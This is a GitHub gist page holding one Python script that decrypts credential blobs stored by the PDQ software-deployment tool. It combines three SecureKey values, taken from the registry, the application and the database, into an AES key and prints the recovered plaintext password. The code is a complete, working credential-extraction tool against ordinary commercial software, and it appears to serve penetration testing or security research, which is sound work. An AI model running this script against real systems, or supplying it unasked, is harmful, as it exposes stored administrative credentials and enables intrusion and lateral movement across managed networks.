Skip to content

Instantly share code, notes, and snippets.

@garrettfoster13
Created April 11, 2025 19:13
Show Gist options
  • Save garrettfoster13/ed0c6edf77e96430ea6a0c361b8f8b6c to your computer and use it in GitHub Desktop.
Save garrettfoster13/ed0c6edf77e96430ea6a0c361b8f8b6c to your computer and use it in GitHub Desktop.

Revisions

  1. garrettfoster13 created this gist Apr 11, 2025.
    61 changes: 61 additions & 0 deletions decrypt.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,61 @@
    import hashlib
    import struct
    import argparse
    from Crypto.Cipher import AES #pip install pycryptodome

    def decrypt(blob, key):
    """Decrypt PDQ credential blobs"""
    #Format for the blob is [header][ivlen][iv][encdata]
    #Example blob: 28656e63727970746564290010644d18eb7817dad6de5f531b1b0b60113087662f3cf0ffdaa7760418c15ee6ea
    #Example blob: [28656e637279707465642900][10][644d18eb7817dad6de5f531b1b0b6011][3087662f3cf0ffdaa7760418c15ee6ea]
    #Header: 28656e637279707465642900
    #IVlen: 10
    #IV 644d18eb7817dad6de5f531b1b0b6011
    #encdata: 3087662f3cf0ffdaa7760418c15ee6ea

    encrypted_data = bytearray.fromhex(blob)
    header = b"(encrypted)\0"
    if not encrypted_data.startswith(header):
    print("Missing (encrypted) header for PDQ blob")
    exit()

    #trim the header and skip the IV length, IV length should always be 16 (10 in hex) until they change it?
    data = encrypted_data[len(header):]
    iv_length = data[0]
    if iv_length != 16:
    print(f"Warning: Unexpected IV length: {iv_length} (expected 16)")
    iv = data[1:1+iv_length]
    encdata = data[1+iv_length:]

    #encryption key is first 16 bytes of sha256 hash of the 3 combined guids
    key_hash = hashlib.sha256(key.encode('utf-8')).digest()
    aes_key = key_hash[:16]

    cipher = AES.new(aes_key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encdata)

    #first 4 bytes of decrypted bytes are password length
    try:
    plaintext_length = struct.unpack("<I", decrypted[:4])[0]
    if 0 < plaintext_length <= len(decrypted) - 4:
    plaintext = decrypted[4:4+plaintext_length]
    result = plaintext.decode('utf-8')
    print(f"[+] Got result: {result}")
    except Exception as e:
    print(e)

    def main():
    parser = argparse.ArgumentParser(description="PDQ decrypt")
    parser.add_argument("-r", "--regkey", action="store", help="SecureKey from registry")
    parser.add_argument("-a", "--appkey", action="store", help="SecureKey from application")
    parser.add_argument("-d", "--dbkey", action="store", help="SecureKey from database")
    parser.add_argument("-b", "--blob", action="store", help="Hex encoded credential blob")
    args = parser.parse_args()

    key = args.appkey + args.dbkey + args.regkey

    decrypt(args.blob, key)


    if __name__ == "__main__":
    main()